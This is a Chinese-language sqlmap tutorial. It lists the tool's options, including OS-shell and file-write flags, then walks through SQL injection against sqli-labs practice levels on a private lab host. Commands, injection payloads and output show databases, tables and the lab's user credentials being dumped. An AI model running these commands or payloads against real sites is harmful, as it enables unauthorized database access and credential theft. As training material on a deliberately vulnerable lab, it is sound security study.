sqlmap 实战
参数说明
-h 输出参数说明
-hh 输出详细的参数说明
-v 输出级别（0~6，默认1）
-u url 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
-p / --skip 指定/跳过测试参数
--cookie 设置cookie
--force-ssl 强制使用SSL
--threads 指定线程并发数
--prefix 指定前缀
--suffix 指定后缀
--level 检测级别（1~5，默认1）
--risk 风险等级（1~4，默认1）
--all 列举所有可访问的数据（不推荐）
--banner 列举数据库系统的信息等
--current-user 输出当前用户
--current-db 输出当前所在数据库
--hostname 输出服务器主机名
--is-dba 检测当前用户是否为管理员
--users 输出数据库系统的所有用户
--dbs 输出数据库系统的所有数据库
-D DB 指定数据库
--tables 在-D情况下输出库中所有表名
-T table 在-D情况下指定数据表
--columns 在-D -T情况下输出表中所有列名
-C column 在-D -T情况下输出某列数据的值
--dump 拉取数据存放到本地
--dump-all 拉取所有可访问数据存放到本地
--count 输出数据条目数量
--search 搜索数据库名、表明、列名，需要与-D -T或-C 联用
--sql-query 执行任意的SQL语句
--sql-shell 使用交互式SQL语句执行环境
--flie-read 读取文件
--file-write 上传文件（指定本地路径）
--file-dest 上传文件（指定目标机器路径）
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
--batch 所有要求输入都选取默认值
--wizard 初学者向导
针对GET请求中id参数注入实战
这里以sqli-labs第一关为例子
查看能否注入以及注入漏洞类型
sqlmap -u http://192.168.152.129:88/Less-1/?id=1 --thread 5 --batch
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8811=8811 AND 'MGNp'='MGNp
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b707171,(SELECT (ELT(8308=8308,1))),0x716a6b7671),8308) AND 'ZKfC'='ZKfC
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6450 FROM (SELECT(SLEEP(5)))IVdZ) AND 'jqxM'='jqxM
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-8062' UNION ALL SELECT NULL,NULL,CONCAT(0x716b707171,0x54786f7172594e72536e70595a5971754f4f676c4a704562476b675564766d6c664e71496f614472,0x716a6b7671)-- -
---
[14:40:24] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.3.29
back-end DBMS: MySQL >= 5.6
所有数据库名
sqlmap -u http://192.168.152.129:88/Less-1/?id=1 --dbs --thread 5 --batch
[14:42:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.3.29
back-end DBMS: MySQL >= 5.6
[14:42:34] [INFO] fetching database names
available databases [13]:
[*] bwapp
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpcmsv9
[*] pikachu
[*] security
[*] sys
[*] webug
[*] webug_sys
[*] webug_width_byte
查某一数据库所有表
sqlmap -u http://192.168.152.129:88/Less-1/?id=1 -D sercurity --tables --thread 5 --batch
[14:44:11] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[14:44:11] [INFO] fetching tables for database: 'security'
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
查表的列
sqlmap -u http://192.168.152.129:88/Less-1/?id=1 -D security -T users --columns --thread 5 --batch
: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8811=8811 AND 'MGNp'='MGNp
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b707171,(SELECT (ELT(8308=8308,1))),0x716a6b7671),8308) AND 'ZKfC'='ZKfC
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6450 FROM (SELECT(SLEEP(5)))IVdZ) AND 'jqxM'='jqxM
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-8062' UNION ALL SELECT NULL,NULL,CONCAT(0x716b707171,0x54786f7172594e72536e70595a5971754f4f676c4a704562476b675564766d6c664e71496f614472,0x716a6b7671)-- -
---
[14:50:18] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[14:50:18] [INFO] fetching columns for table 'users' in database 'security'
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
查数据
sqlmap -u http://192.168.152.129:88/Less-1/?id=1 -D security -T users --columns --dump --thread 5 --batch
Database: security
Table: users
[13 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
+----+------------+----------+
指定字段查数据
sqlmap -u http://192.168.152.129:88/Less-1/?id=1 -D security -T users -C "username,password" --dump --thread 5 --batch
14:52:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[14:52:23] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'security'
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+------------+
针对POST请求登陆页面username，passwod参数注入
数据库名
sqlmsqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" --dbs --thread 5 --batch
[14:30:59] [WARNING] provided parameters 'uname, passwd' are not inside the GET
[14:30:59] [INFO] resuming back-end DBMS 'mysql'
[14:30:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=d' AND (SELECT 8534 FROM (SELECT(SLEEP(5)))yKin) AND 'MWVd'='MWVd&passwd=d&submit=Submit
---
web application technology: Apache 2.4.39, PHP 5.3.29
back-end DBMS: MySQL >= 5.0.12 (Aurora fork)
[14:30:59] [INFO] fetching database names
[14:30:59] [INFO] fetching number of databases
[14:30:59] [INFO] resumed: 13
[14:30:59] [INFO] resumed: information_schema
[14:30:59] [INFO] resumed: bwapp
[14:30:59] [INFO] resumed: challenges
[14:30:59] [INFO] resumed: dvwa
[14:30:59] [INFO] resumed: mysql
[14:30:59] [INFO] resumed: performance_schema
[14:30:59] [INFO] resumed: phpcmsv9
[14:30:59] [INFO] resumed: pikachu
[14:30:59] [INFO] resumed: security
[14:30:59] [INFO] resumed: sys
[14:30:59] [INFO] resumed: webug
[14:30:59] [INFO] resumed: webug_sys
[14:30:59] [INFO] resumed: webug_width_byte
available databases [13]:
[*] `security`
[*] bwapp
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpcmsv9
[*] pikachu
[*] sys
[*] webug
[*] webug_sys
[*] webug_width_byte
security库所有表名
sqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security --tables --thread 5 --batch
[14:32:12] [INFO] adjusting time delay to 1 second due to good response times
emails
[14:32:26] [INFO] retrieved: re
[14:32:37] [ERROR] invalid character detected. retrying..
[14:32:37] [WARNING] increasing time delay to 2 seconds
ferers
[14:33:10] [INFO] retrieved: uagents
[14:33:53] [INFO] retrieved: users
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
security.users列
sqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security -T users --columns --thread 5 --batch
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=d' AND (SELECT 8534 FROM (SELECT(SLEEP(5)))yKin) AND 'MWVd'='MWVd&passwd=d&submit=Submit
---
[16:29:53] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12 (Aurora fork)
[16:29:53] [INFO] fetching columns for table 'users' in database 'security'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[16:29:53] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[16:29:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[16:30:08] [INFO] adjusting time delay to 1 second due to good response times
3
[16:30:08] [INFO] retrieved: id
[16:30:15] [INFO] retrieved: int(3)
[16:30:40] [INFO] retrieved: username
[16:31:03] [INFO] retrieved: varchar(20)
[16:31:39] [INFO] retrieved: pa
[16:31:50] [ERROR] invalid character detected. retrying..
[16:31:50] [WARNING] increasing time delay to 2 seconds
[16:32:31] [INFO] retrieved: varchar(20)
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
数据指定字段
sqlmap -u "http://192.168.152.129:88/Less-15/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security -T users -C "username,password" --dump --thread 5 --batch
+----------+------------+
| username | password |
+----------+------------+
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| admin4 | admin4 |
| secure | crappy |
| Dumb | Dumb |
| dhakkan | dumbo |
| superman | genious |
| Angelina | I-kill-you |
| batman | mob!le |
| Dummy | p@ssword |
| stupid | stupidity |
+----------+------------+
浙公网安备 33010602011771号